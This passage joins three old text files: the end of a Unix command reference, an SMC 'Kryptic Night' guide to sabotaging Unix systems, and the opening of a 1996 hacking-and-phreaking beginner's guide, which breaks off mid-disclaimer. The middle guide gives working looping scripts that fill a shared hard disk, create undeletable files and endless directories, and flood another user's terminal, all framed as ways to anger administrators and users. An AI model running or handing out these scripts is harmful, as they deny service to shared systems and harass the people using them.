(characters after the last `.'); files with no extension are sorted first. -1, --format=single-column List one file per line. -w, --width cols Assume the screen is cols columns wide. The default is taken from the terminal driver if possible; otherwise the environment variable COLUMNS is used if it is set; otherwise the default is 80. -T, --tabsize cols Assume that each tabstop is cols columns wide. The default is 8. -I, --ignore pattern Do not list files whose names match the shell pattern pattern unless they are given on the command line. As in the shell, an initial `.' in a filename does not match a wildcard at the start of pattern. --color, --colour, --color=yes, --colour=yes Colorize the names of files depending on the type of file. See DISPLAY COLORIZATION below. --color=tty, --colour=tty Same as --color but only if standard output is a terminal. This is very useful for shell scripts and command aliases, especially if your favorite pager does not support color control codes. --color=no, --colour=no Disables colorization. This is the default. Provided to override a previous color option. --help Print a usage message on standard output and exit successfully. --version Print version information on standard output then exit successfully. DISPLAY COLORIZATION When using the --color option, this version of ls will colorize the file names printed according to the name and type of file. By default, this colorization is by type only, and the codes used are ISO 6429 (ANSI) compliant. You can override the default colors by defining the environment variable LS_COLORS (or LS_COLOURS). The format of this variable is reminicent of the termcap(5) file format; a colon-separated list of expressions of the form "xx=string", where "xx" is a two-character variable name. The variables with their associated defaults are: no 0 Normal (non-filename) text fi 0 Regular file di 32 Directory ln 36 Symbolic link pi 31 Named pipe (FIFO) so 33 Socket bd 44;37 Block device cd 44;37 Character device ex 35 Executable file mi (none) Missing file (defaults to fi) or (none) Orphanned symbolic link (defaults to ln) lc \e[ Left code rc m Right code ec (none) End code (replaces lc+no+rc) You only need to include the variables you want to change from the default. File names can also be colorized based on filename extension. This is specified in the LS_COLORS variable using the syntax "*ext=string". For example, using ISO 6429 codes, to color all C-language source files blue you would specify "*.c=34". This would color all files ending in .c in blue (34) color. Control characters can be written either in C-style \escaped notation, or in stty-like ^-notation. The C-style notation adds \e for Escape, \_ for a normal space characer, and \? for Delete. In addition, the \ escape character can be used to override the default interpretation of \, ^, : and =. Each file will be written as <lc> <color code> <rc> <filename> <ec>. If the <ec> code is undefined, the sequence <lc> <no> <rc> will be used instead. This is generally more convenient to use, but less general. The left, right and end codes are provided so you don't have to type common parts over and over again and to support weird terminals; you will generally not need to change them at all unless your terminal does not use ISO 6429 color sequences but a different system. If your terminal does use ISO 6429 color codes, you can compose the type codes (i.e. all except the lc, rc, and ec codes) from numerical commands separated by semicolons. The most common commands are: 0 to restore default color 1 for brighter colors 4 for underlined text 5 for flashing text 30 for black foreground 31 for red foreground 32 for green foreground 33 for yellow (or brown) foreground 34 for blue foreground 35 for purple foreground 36 for cyan foreground 37 for white (or gray) foreground 40 for black background 41 for red background 42 for green background 43 for yellow (or brown) background 44 for blue background 45 for purple background 46 for cyan background 47 for white (or gray) background Not all commands will work on all systems or display devices. A few terminal programs do not recognize the default end code properly. If all text gets colorized after you do a directory listing, try changing the no and fi codes from 0 to the numerical codes for your standard fore- and background colors. mail: mail is a comfortable, flexible, interactive program for composing, sending and receiving electronic messages. While reading messages, mail provides you with commands to browse, display, save, delete, and respond to messages. While sending mail, mail allows editing and reviewing of messages being composed, and the inclusion of text from files or other messages. Incoming mail is stored in the system mailbox for each user. This is a file named after the user in /var/spool/mail. mail normally looks in this file for incoming messages, but you can use the MAIL environment variable to have it look in a different file. When you read a message, it is marked to be moved to a secondary file for storage. This secondary file, called the mbox, is normally the file mbox in your home directory. This file can also be changed by setting the MBOX environment variable. Messages remain in the mbox file until deliberately removed. If no recipient is specified, mail attempts to read messages from the system mailbox. -d Turn on debugging output. (Neither particularly interesting nor recommended.) -e Test for presence of mail. If there is no mail, mail prints nothing and exits (with a successful return code). -F Record the message in a file named after the first recipient. Override the record variable, if set. -H Print header summary only. -i Ignore interrupts (as with the ignore variable). -n Do not initialize from the system default Mail.rc file. -N Do not print initial header summary. -U Convert uucp style addresses to Internet standards. Overrides the conv environment variable. -v Pass the -v flag to sendmail(8). -f [filename] Read messages from filename instead of system mailbox. If no filename is specified, the mbox is used. -f +folder Use the file folder in the folder directory (same as the folder command). The name of this directory is listed in the folder variable. -h number The number of network "hops" made so far. This is provided for network software to avoid infinite delivery loops. -r address Pass address to network delivery software. All tilde (~) commands are disabled. -s subject Set the Subject header field to subject. -T file Print the contents of the article-id fields of all messages that were read or deleted on file (for the use of network news programs if available). -u user Read user's system mailbox. This is only effective if user's system mailbox is not read protected. man: man displays information from the reference manuals. It can display complete manual pages that you select by title, or one-line summaries selected either by keyword (-k), or by the name of an associated file (-f). A section, when given, applies to the titles that follow it on the command line (up to the next section, if any). man looks in the indicated section of the manual for those titles. section is either a digit (perhaps followed by a single letter indicating the type of manual page), or one of the words new, local, old, or public. The abbreviations n, l, o and p are also allowed. If section is omitted, man searches all reference sections (giving preference to commands over functions) and prints the first manual page it finds. If no manual page is located, man prints an error message. The reference page sources are typically located in the /usr/man/man? directories. Since these directories are optionally installed, they may not reside on your host; you may have to mount /usr/man from a host on which they do reside. If there are preformatted, up-to-date versions in corresponding cat? or fmt? directories, man simply displays or prints those versions. If the preformatted version of interest is out of date or missing, man reformats it prior to display. If directories for the preformatted versions are not provided, man reformats a page whenever it is requested; it uses a temporary file to store the formatted text during display. If the standard output is not a terminal, or if the `-' flag is given, man pipes its output through cat(1V). Otherwise, man pipes its output through more(1) to handle paging and underlining on the screen. -t man arranges for the specified manual pages to be troffed to a suitable raster output device (see troff(1) or vtroff(1)). If both the - and -t flags are given, man updates the troffed versions of each named title (if necessary), but does not display them. -M path Change the search path for manual pages. path is a colon-separated list of directories that contain manual page directory subtrees. For example, /usr/man/u_man:/usr/man/a_man makes man search in the standard System V locations. When used with the -k or -f options, the -M option must appear first. Each directory in the path is assumed to contain subdirectories of the form man[1-8l-p]. -T macro-package man uses macro-package rather than the standard -man macros defined in /usr/lib/tmac/tmac.an for formatting manual pages. -k keyword ... man prints out one-line summaries from the whatis database (table of contents) that contain any of the given keywords. The whatis database is created using the catman(8) command with the -w option. -f filename ... man attempts to locate manual pages related to any of the given filenames. It strips the leading pathname components from each filename, and then prints one-line summaries containing the resulting basename or names. This option also uses the whatis database. mkdir: mkdir creates directories. Standard entries, `.', for the directory itself, and `..' for its parent, are made automatically. The -p flag allows missing parent directories to be created as needed. With the exception of the set-gid bit, the current umask(2V) setting determines the mode in which directories are created. The new directory inherits the set-gid bit of the parent directory. Modes may be modified after creation by using chmod(1V). mkdir requires write permission in the parent directory. more: more is a filter that displays the contents of a text file on the terminal, one screenful at a time. It normally pauses after each screenful, and prints --More-at the bottom of the screen. more provides a two-line overlap between screens for continuity. If more is reading from a file rather than a pipe, the percentage of characters displayed so far is also shown. more scrolls up to display one more line in response to a RETURN character; it displays another screenful in response to a SPACE character. Other commands are listed below. page clears the screen before displaying the next screenful of text; it only provides a one-line overlap between screens. more sets the terminal to noecho mode, so that the output can be continuous. Commands that you type do not normally show up on your terminal, except for the / and ! commands. If the standard output is not a terminal, more acts just like cat(1V), except that a header is printed before each file in a series. -c Clear before displaying. Redrawing the screen instead of scrolling for faster displays. This option is ignored if the terminal does not have the ability to clear to the end of a line. -d Display error messages rather than ringing the terminal bell if an unrecognized command is used. This is helpful for inexperienced users. -f Do not fold long lines. This is useful when lines contain nonprinting characters or escape sequences, such as those generated when nroff(1) output is piped through ul(1). -l Do not treat FORMFEED characters (CTRL-D) as "page breaks." If -l is not used, more pauses to accept commands after any line containing a ^L character (CTRL-D). Also, if a file begins with a FORMFEED, the screen is cleared before the file is printed. -s Squeeze. Replace multiple blank lines with a single blank line. This is helpful when viewing nroff(1) output, on the screen. -u Suppress generation of underlining escape sequences. Normally, more handles underlining, such as that produced by nroff(1), in a manner appropriate to the terminal. If the terminal can perform underlining or has a stand-out mode, more supplies appropriate escape sequences as called for in the text file. -lines Display the indicated number of lines in each screenful, rather than the default (the number of lines in the terminal screen less two). +linenumber Start up at linenumber. +/pattern Start up two lines above the line containing the regular expression pattern. Note: unlike editors, this construct should not end with a `/'. If it does, then the trailing slash is taken as a character in the search pattern. mv: mv moves files and directories around in the file system. A side effect of mv is to rename a file or directory. The three major forms of mv are shown in the synopsis above. The first form of mv moves (changes the name of) filename1 to filename2. If filename2 already exists, it is removed before filename1 is moved. If filename2 has a mode which forbids writing, mv prints the mode (see chmod(2V)) and reads the standard input to obtain a line; if the line begins with y, the move takes place, otherwise mv exits. The second form of mv moves (changes the name of) directory1 to directory2, only if directory2 does not already exist if it does, the third form applies. The third form of mv moves one or more filenames (may also be directories) with their original names, into the last directory in the list. mv refuses to move a file or directory onto itself. Interpret all the following arguments to mv as file names. This allows file names starting with minus. -f Force. Override any mode restrictions and the -i option. The -f option also suppresses any warning messages about modes which would potentially restrict overwriting. -i Interactive mode. mv displays the name of the file or directory followed by a question mark whenever a move would replace an existing file or directory. If you type a line starting with y, mv moves the specified file or directory, otherwise mv does nothing with that file or directory. passwd: passwd changes (or installs) a password, login shell (-s option), or full name (-f option) associated with the user username (your own by default). chsh is equivalent to passwd with the -s option, and chfn is equivalent to passwd with the -f option. Use `passwd -y' or yppasswd(1) to change your password in the Network Information Service (NIS). This will not affect your local password, or your password on any remote machines on which you have accounts. passwd calls yppasswd automatically if you do not have an entry in the local passwd file, and the -l option is not specified. When changing a password, passwd prompts for the old password and then for the new one. You must supply both, and the new password must be typed twice to forestall mistakes. If password aging is enabled, the first time an ordinary user enters the new password passwd checks to see if the old password has "aged" sufficiently. Password "aging" is the amount of time (usually a certain number of days) that must elapse between password changes. If "aging" is insufficient the new password is rejected and passwd terminates. New passwords should be at least five characters long, if they combine upper-case and lower-case letters, or at least six characters long if in monocase. Users that persist in entering shorter passwords are compromising their own security. The number of significant characters in a password is eight, although longer passwords will be accepted. Only the owner of the name or the super-user may change a password; the owner must prove he knows the old password. The super-user can change any password and is not forced to comply with password aging requirements. When changing a login shell, passwd displays the current login shell and then prompts for the new one. The new login shell must be one of the approved shells listed in /etc/shells unless you are the super-user. If /etc/shells does not exist, the only shells that may be specified are /bin/sh and /bin/csh. The super-user may change anyone's login shell; normal users may only change their own login shell. When changing a full name, passwd displays the current full name, enclosed between brackets, and prompts for a new full name. If you type a RETURN, the full name is not changed. If the full name is to be made blank, you must type the word "none". The super-user may change anyone's full name; normal users may only change their own. -a Display the name and aging information for all users. Can only be invoked by the super-user. -f Change the full name. -l Change the local password, login shell, or full name. If username exists in the local passwd file, this is the default. -s Change the login shell. -y Change passwd, login shell, or full name in the NIS database. -d [username] Display the name and aging information for the caller or the user specified if the invoker has the right privileges. -e username Expire the password for the user name specified. Can only be invoked by the super-user. -F filename Treat filename as the password file. -n numdays username Set the maturity time of the password for username. Passwords that have not "aged" enough cannot be changed. Can only be set by the super-user. -x numdays username Set the expiration time of the password for username. Can only be set by the super-user. ps: ps displays information about processes. Normally, only those processes that are running with your effective user ID and are attached to a controlling terminal (see termio(4)) are shown. Additional categories of processes can be added to the display using various options. In particular, the -a option allows you to include processes that are not owned by you (that do not have your user ID), and the -x option allows you to include processes without control terminals. When you specify both -a and -x, you get processes owned by anyone, with or without a control terminal. The -r option restricts the list of processes printed to "running" processes: runnable processes, those in page wait, or those in short-term non-interruptible waits. ps displays the process ID, under PID; the control terminal (if any), under TT; the cpu time used by the process so far, including both user and system time), under TIME; the state of the process, under STAT; and finally, an indication of the COMMAND that is running. The state is given by a sequence of four letters, for example, `RWNA'. First letter indicates the runnability of the process: R Runnable processes. T Stopped processes. P Processes in page wait. D Processes in non-interruptible waits; typically short-term waits for disk or NFS I/O. S Processes sleeping for less than about 20 seconds. I Processes that are idle (sleeping longer than about 20 seconds). Z Processes that have terminated and that are waiting for their parent process to do a wait(2V) ("zombie" processes). Second letter indicates whether a process is swapped out; blank Represented as a SPACE character, in this position indicates that the process is loaded (in memory). W Process is swapped out. > Process has specified a soft limit on memory requirements and has exceeded that limit; such a process is (necessarily) not swapped. Third letter indicates whether a process is running with altered CPU scheduling priority (nice(1)): blank Represented as a SPACE character, in this position indicates that the process is running without special treatment. N The process priority is reduced, < The process priority has been raised artificially. Fourth letter indicates any special treatment of the process for virtual memory replacement. The letters correspond to options to the vadvise(2) system call. Currently the possibilities are: blank Represented as a SPACE character, in this position stands for VA_NORM. A Stands for VA_ANOM. An A typically represents a program which is doing garbage collection. S Stands for VA_SEQL. An S is typical of large image processing programs that are using virtual memory to sequentially address voluminous data. kernel-name specifies the location of the system namelist. If the -k option is given, c-dump-file tells ps where to look for the core dump. Otherwise, the core dump is located in the file /vmcore and this argument is ignored. swap-file gives the location of a swap file other than the default, /dev/drum. pwd: pwd prints the pathname of the working (current) directory. If you are using csh(1), you can use the dirs builtin command to do the same job more quickly; but dirs can give a different answer in the rare case that the current directory or a containing directory was moved after the shell descended into it. This is because pwd searches back up the directory tree to report the true pathname, whereas dirs remembers the pathname from the last cd(1) command. The example below illustrates the differences. example% cd /usr/wendy/january/reports example% pwd /usr/wendy/january/reports example% dirs ~/january/reports example% mv ~/january ~/february example% pwd /usr/wendy/february/reports example% dirs ~/january/reports example% pwd and dirs also give different answers when you change directory through a symbolic link. For example: example% cd /usr/wendy/january/reports example% pwd /usr/wendy/january/reports example% dirs ~/january/reports example% ls -l /usr/wendy/january lrwxrwxrwx 1 wendy 17 Jan 30 1983 /usr/wendy/january -> /usr/wendy/1984/jan/ example% cd /usr/wendy/january example% pwd /usr/wendy/1984/jan example% dirs /usr/wendy/january The pathnames of files mounted with the Automounter can also change if the file is not used for a certain time interval (the default is five minutes). rm: rm removes (directory entries for) one or more files. If an entry was the last link to the file, the contents of that file are lost. See ln(1V) for more information about multiple links to files. To remove a file, you must have write permission in its directory; but you do not need read or write permission on the file itself. If you do not have write permission on the file and the standard input is a terminal, rm displays the file's permissions and waits for you to type in a response. If your response begins with y the file is deleted; otherwise the file is left alone. rmdir removes each named directory. rmdir only removes empty directories. Treat the following arguments as filenames `-' so that you can specify filenames starting with a minus. -f Force files to be removed without displaying permissions, asking questions or reporting errors. -i Ask whether to delete each file, and, under -r, whether to examine each directory. Sometimes called the interactive option. -r Recursively delete the contents of a directory, its subdirectories, and the directory itself. rmdir: rm removes (directory entries for) one or more files. If an entry was the last link to the file, the contents of that file are lost. See ln(1V) for more information about multiple links to files. To remove a file, you must have write permission in its directory; but you do not need read or write permission on the file itself. If you do not have write permission on the file and the standard input is a terminal, rm displays the file's permissions and waits for you to type in a response. If your response begins with y the file is deleted; otherwise the file is left alone. rmdir removes each named directory. rmdir only removes empty directories. Treat the following arguments as filenames `-' so that you can specify filenames starting with a minus. -f Force files to be removed without displaying permissions, asking questions or reporting errors. -i Ask whether to delete each file, and, under -r, whether to examine each directory. Sometimes called the interactive option. -r Recursively delete the contents of a directory, its subdirectories, and the directory itself. spell: spell collects words from the named files, and looks them up in a hashed spelling list. Words that do not appear in the list, or cannot be derived from those that do appear by applying certain inflections, prefixes or suffixes, are displayed on the standard output. If there are no filename arguments, words to check are collected from the standard input. spell ignores most troff(1), tbl(1), and eqn(1) constructs. Copies of all output words are accumulated in the history file, and a stop list filters out misspellings (for example, their=thy-y+ier) that would otherwise pass. By default, spell (like deroff(1)) follows chains of included files (.so and .nx troff(1) requests), unless the names of such included files begin with /usr/lib. If a +local_file argument is specified, words found in local_file are removed from spell's output. local_file is the name of a user-provided file that contains a sorted list of words, one per line. With this option, the user can specify a set of words that are correct spellings (in addition to spell's own spelling list) for each job. The standard spelling list is based on many sources, and while more haphazard than an ordinary dictionary, is also more effective in respect to proper names and popular technical words. Coverage of the specialized vocabularies of biology, medicine and chemistry is light. Three programs help maintain and check the hash lists used by spell: hashmake Reads a list of words from the standard input and writes the corresponding nine-digit hash code on the standard output. spellin Reads n hash codes from the standard input and writes a compressed spelling list on the standard output. hashcheck Reads a compressed spelling_list and recreates the nine-digit hash codes for all the words in it; it writes these codes on the standard output. -b Check British spelling. Besides preferring "centre", "colour", "programme", "speciality", "travelled", and so on, this option insists upon -ise in words like standardize, despite what Fowler and the OED say. -l Follow the chains of all included files. -v Print all words not literally in the spelling list, as well as plausible derivations from spelling list words. -x Print every plausible stem with `=' for each word. -d hlist Use the file hlist as the hashed spelling list. -h spellhist Place misspelled words with a user/date stamp in file spellhist. -s hstop Use hstop as the hashed stop list. Not all command descriptions were listed here. But look for the update to this text, it will have more commands and more descriptions. This text file was just one of the many files made by The Psychotic Internet Services. * Data Kult * ーイーイーイーイーイーイーイーイー * Kryptic Night * Lord Logics イー Raising ーイ Bounty Hunter Shadow Walker ーイ Hell イー Nacht Habicht - S M C - イー with Unix ーイ - S M C - Realm of Infinity ーイ Kryptic Night イー The Viking's Den (503)629-0814 イーイーイーイーイーイーイーイーイ (408)867-1224 SMC Home - S M C - Western Dist. Production # 3 トトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトト I - Introduction This file will describe several ways to cause mischief on a Unix system. Like the other SMC Productions, I will try to present the information at a beginners level. However, all levels of hackers should benefit in some way from the information contained within. And now... on with our show... II - How To Fill a Hard Disk There are several ways to cause havoc by filling up a systems hard disk. Filling up a hard disk will make it so that the system cannot create the temporary files vital to it's efficient use. It will also cause other problems, such as a person trying to save a 10 page financial report, and finding that there is no room for it. Also, if the HD is full, the system will not run properly. You will be bombarded by a continuous stream of 'write failed, file system is full'. Over all, this is a very good way to piss people off. Step One Create the following file with the 'ed [filename]' utility under the bourne shell, or the 'edit [filename]' under the C shell. The filename can be whatever you want, here I will call it 'hah1'. Only type in what is contained within '[]'s, the other text is what the system will send to you. $[ed hah1] 0 *[a] [echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] [echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] [echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] [echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] [echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] [echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] [echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] [echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] [echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] [echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] [echo Hahahahahahahahahahahahahahahahahahahahahah!!! >> -fucku!] [nohup hah1 &] [^C] *[w] 754 *[q] $[chmod +r+w+x hah1] $[nohup hah1 &] 1234 $ This will create a file called '-fucku!'. Files beginning with a '-' are very difficult to delete, as when you try to do a 'rm -fucku!' <rm - remove file> It interprets the '-f' as an option, it tries then to force delete the file 'ucku!'. As you can imagine.... this wouldn't quite work. The text after the echo can be anything you wish, I just used a sample text that is quite pointless and takes up space. The numbers represent the file size, and process number, they will be different on your system. The file will add the text from the echo statement to the file '-fucku!' until it reaches the 'hah1 &' command, which will make it start over again. This is an endless loop. For as long as you are on-line, and their are processes left, the file will continue to add to the file. This is a very slow method, but it's easy if you are starting from scratch. If you get a message such as 'cannot fork hah1: process terminated' that means that the loop is taking up so much memory that the system can no longer continue with that job. Don't worry, it will settle back to normal after all the processes are eventually killed, if it does, continue to run the file in the background until you have a '-fucku!' file that is about 100-200k long, this will allow us to progress to our next step. The command 'nohup hah1 &' tells unix to continue to run the 'hah1' in the background, even after you hangup. This means you can run the program, hang up, and call back. This function will only work under the bourne shell. If you have a prompt of '$', then you are using the bourne shell. This function will become exceedingly useful when we start with the next step. The command 'chmod +r+w+x hah1' will make the file readable, writable, and executable by you. This string may or may not be necessary on the system you are using. If you get a message such as 'hah1: Permission Denied' than you will need to use the chmod command. And now onto the next step... Step Two We will now explore the ever powerful 'cat' command. The 'cat' command is the equivalent of the MS-DOS 'type' command. We will use a function of the unix system called redirection that will allow us to 'cat' files into each other. This will cause the source file to be copied to the end of the destination file, I'm sure you're beginning to see the mischief you can cause with this. To begin with, create a file called '-fucku2' the same way you created the '-fucku!' file. Try to run the 'hah1' program until the new 'fucku2' file is around 100-200k also. This isn't absolutely necessary, but it's helpful and saves some time. Next, create the following file with the editor <'ed' or 'edit'>. I will call it 'hah2', but you may call it whatever you wish. $[ed hah2] 0 *[a] [cat -fucku! >> -fucku2] [cat -fucku2 >> -fucku!] [no hup hah2 &] [^C] *[w] 61 *[q] $[chmod +r+w+x hah2] $[nohup hah2 &] 7049 $ What we've just done is create a very short, and very nasty, program that can fill 20 megs in under 5 minutes. The file when run will add the contents of '-fucku!' to the end of '-fucku2', and do the reverse. This means that when you have two files of 100k to begin with, you will get the following results after every completed loop... -fucku! .. -fucku2 .. -fucku! .. -fucku2 100k >> 200k >> 300k >> 700k >> 1200k >> 1900k >> 500k 3100k As you can see, the file grows VERY quickly. Set it up in the morning before school, come back and the HD should be completely full. You may wish to also run multiple write processes, just to confuse the system. If you do, rename the files to something appropriate, but maintain the base content. If you do it in several directories, the sysop will have to do some serious cleaning to get rid of it. Step Three Sit back and laugh. If you wait awhile, in approximately 30 minutes, the average 40 meg hard drive will be full. I've tested this method on several systems, even an ancient VAX, and the results were more or less the same. The sysop, or any other user, will be able to write anything onto the system until this problem is resolved. Many programs need to create temporary files to even operate. These programs are now completely unusable, except for the few that save to memory. To delete the files, the sysop will have to do one of several things, all of which are very unpleasant. And now for the next lesson... III - Mischief This section will describe a couple of ways of perpetrating mischief on a unix system. These ideas are for the most part harmless, but can definitely piss people off. The idea of a continuous subdir was molded from one presented by Shooting Shark. Idea #1 This method will create an endless amount of directories under a the current directory. Create multiple files with different name and directories to really annoy the 'sop. Type the following to accomplish this. $[ed sub1] 0 *[a] [mkdir -FuCkU!1] [chdir -FuCkU!1] [/xxx/xxx/sub1 &] [^C] *[w] 69 *[q] $[chmod +r+w+x sub1] $[nohup sub1 &] 7099 $ This program will create a directory called '-FuCkU!1', change to that directory, then create another one under the first one, and so forth. It is an endless loop, and will continue virtually forever. The third line of the program contains a string '/xxx/xxx/sub1 &'. You will need to fill in the x's with your current directory. To find out your current directory type 'pwd' this will print a string telling which directory you are in. Fill in the x's with this data. The rest of the program you should be able to figure out by now. Try it, you'll like it. Idea #2 So, you've seen someone on the system that you really don't like? Or do you just want to piss someone off? This methods for you. This method will describe a way to send out data to another user, or terminal. Here is what you will want to type to create a file to anger the other user. $[ed beep] 0 *[a] [echo ^G ^G ^G ^G Wheee!!! ^G ^G ^G >> /dev/xxxx] [nohup beep &] [^C] *[w] 25 *[q] $[chmod +r+w+x beep] $[nohup beep &] 8002 $ Fill in the '/dev/xxxx' with the terminal you want to annoy. To find out the terminal of the person you want to fuck over, type 'who' it will print out something like this.... $[who] guest ttyd0 Nov 30 19:06 root console Nov 30 19:20 Bendover ttyd5 Nov 30 18:45 $ The first column is the name of the user, the second column tells us what terminal they are logged on as, and the third states at what time they logged on. The second column is what we need right now. Fill in the x's with the terminal that you wish. If you wanted to bother the root, you would type '/dev/console', to bother guest type '/dev/ttyd0'. To bother more than one terminal, just add another line after the first 'echo' statement with a different terminal identifier. With the 'nohup' command, the computer will send a continuous outpouring of beeps until he logs off or reboots the system. Try it on the terminal you are logged on under to see exactly what it does. トトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトトト IV - Conclusion These projects should be enough to get you started on your road to Unix Hell. With a little experience you will be able to think of new ideas that will alloy you access to the systems hidden features and assets. I will release other files on Unix in the near future, possibly one on basic Unix hacking, FTP, UUCP netting, or any number of other Unix related concepts. If you are interested in learning more on Unix, you can contact me on the systems at the top of the file. Thus concludes one dark Kryptic Night... V - Bibliography and Suggested Reading Unix Use and Security From the Ground Up: by the Prophet in 1986 This is probably the BEST file I've ever seen on the subject of Unix. It is written for the beginner, and contains valuable information for the advanced user. The Prophet became a member of Lod/H and is currently serving a sentence of 20 months in relation to the big Lod/H bust of '90. Articles on unix trojans and mischief: by Shooting Shark Shooting Shark presents some interesting information on various ways to commit havoc on Unix systems. You can find most of his essays in both Phrack and Lod magazines. Lod/H Tech Journals The Legion of Doom/Hackers are perhaps the most skilled and knowledgable hackers in the underground society. Their 'Tech Journals' describe almost anything you'd ever want to know about illegal activities. Phrack Magazines Phrack is also one of the best sources for information on a multitude of subjects, ranging from social engineering, to carding, to making explosives. For those with free time, download all of the 32 articles released to date. Creating Users on Unix This was my second text file release. It tells how to create new users on a Unix system using the root account. It is told for beginner and advanced hacker alike. VI - Greets Heh, Data Kult, when you gettin' Kelsea's phone number? Bounty Hunter, cool new software, hope you can work out the bugs. Lord Logics, ega STILL? Come on! Get with it! Scooter, chill with the 800's Oolon, get Entropy back up! Digital Derelict, Jerusalem is nothing.... you're going down... soon | | \ | /\/\ | | / |/| / |/ | |\ RYPTIC | / \ / | / |\ | | | / ウ\ トツト \ / ウ \ A ウ A / \ ウ / ウ / ウ/ ウ/ < \ \ \ \ / U L T ウ\ ウ \ \ | \ | | / \|IGHT ` - Kryptic Night, Data Kult, Lord Logics, Shadow Walker, Bounty Hunter Nacht Habicht $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| ###################################################################### @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ********************************************************************** ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + + THE ULTIMATE BEGINNER'S GUIDE TO HACKING AND PHREAKING + + + + + + + + + BY + + REVELATION + + LOA--ASH + + + + + + + + + + + + Written: 08/4/96 Volume: 1 + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ********************************************************************** @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ###################################################################### |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ This document was written in Windows 95 Word Pad. The title above, and some of the text looks a little screwed up when read in anything else, so read it in Word Pad. Anyway, for those of you who are wondering "what do the letters "LOA" under his handle stand for?" Well, LOA stands for Legion Of the Apocalypse, which is a group of elite hackers and phreakers in my area. The current members of LOA are: Revelation, Phreaked Out, Hack Attack, Electric Jaguar, and Phreak Show I started LOA when I discovered that there were many good hackers and phreakers in my area. I thought that an organized group of hackers and phreakers would accomplish much more than an individual could by himself. Thus the Legion Of the Apocalypse was formed and has been around for a while since. Our main goal is to show the public what hacking and phreaking is all about and to reveal confidential information to the hacking/phreaking community so that we can learn more about computers, telephones, electronics, etc. We are hoping to get our own World Wide Web page soon, so keep an eye out for it. It will contain all of the hacking, phreaking, computer, telephone, security, electronics, virus, and carding information that you could possibly want. Also, if some of you are wondering why I chose the word Revelation as my handle, well, Revelation means revealing or unveiling, which is exactly what I intend to do as a hacker/phreaker. I intend to reveal all the information that I can gather while hacking and phreaking. Anyway, I wrote this document because I have read all the files that I could get my hands on and noticed that there has never been a really good file written that guided beginning hackers and phreakers step by step. When I began hacking and started reading all of the beginner files, I still had many un-answered questions. My questions were eventually answered, but only through LOTS of reading and practice. In this file, I hope to give basic step by step instructions that will help beginning hackers and phreakers get started. But, DO NOT think that this will save you from having to read alot. If you want to be a hacker/phreaker, reading is the most important thing you can do. You will have to do ALOT of reading no matter what. This document was intended for beginners, but it can also be used as a reference tool for advanced hackers and phreakers. Please distribute this document freely. Give it to anyone that you know who is interested in hacking and/or phreaking. Post it on your World Wide Web page, Ftp sites, and BBS's. Do whatever you want with it as long as it stays UNCHANGED. As far as I know, this is the most complete and in depth beginners guide available, that is why I wrote it. Also, I plan to have new volumes come out whenever there has been a significant change in the material provided, so keep an eye out for them. LOA is planning on starting an on-line magazine, so look for that too. And we are also starting a hacking business. Owners of businesses can hire us to hack into their systems to find the security faults. The name of this company is A.S.H. (American Security Hackers), and it is run by LOA. If you have any questions about this company, or would like to hire us, or just want security advice, please E-Mail A.S.H. at "an641839@anon.penet.fi". This document is divided into three main sections with many different sub-sections in them. The Table Of Contents is below: Table Of Contents: I. HACKING A. What is hacking? B. Why hack? C. Hacking rules D. Getting started E. Where and how to start hacking F. Telenet commands G. Telenet dialups H. Telenet DNIC's I. Telenet NUA's J. Basic UNIX hacking K. Basic VAX/VMS hacking L. Basic PRIME hacking M. Password list N. Connecting modems to different phone lines O. Viruses, Trojans, and Worms II. PHREAKING A. What is phreaking? B. Why phreak? C. Phreaking rules D. Where and how to start phreaking E. Boxes and what they do F. Red Box plans G. Free calling from COCOT's H. ANAC numbers III. REFERENCE A. Hacking and phreaking W.W.W. pages B. Good hacking and phreaking text files C. Hacking and phreaking Newsgroups D. Rainbow Books E. Hacking and phreaking magazines F. Hacking and phreaking movies G. Hacking and phreaking Gopher sites H. Hacking and phreaking Ftp sites I. Hacking and phreaking BBS's J. Cool hackers and phreakers K. Hacker's Manifesto L. Happy hacking! * DISCLAIMER * "Use this information at your own risk. I Revelation, nor any other member of LOA, nor the persons providing this file, will NOT assume ANY responsibility for the use, misuse, or abuse, of the information provided herein. The following information is provided for educational purposes ONLY. The informaion is NOT to be used for illegal purposes. By reading this file you ARE AGREEING to the following terms: I understand that using this information is illegal. I agree 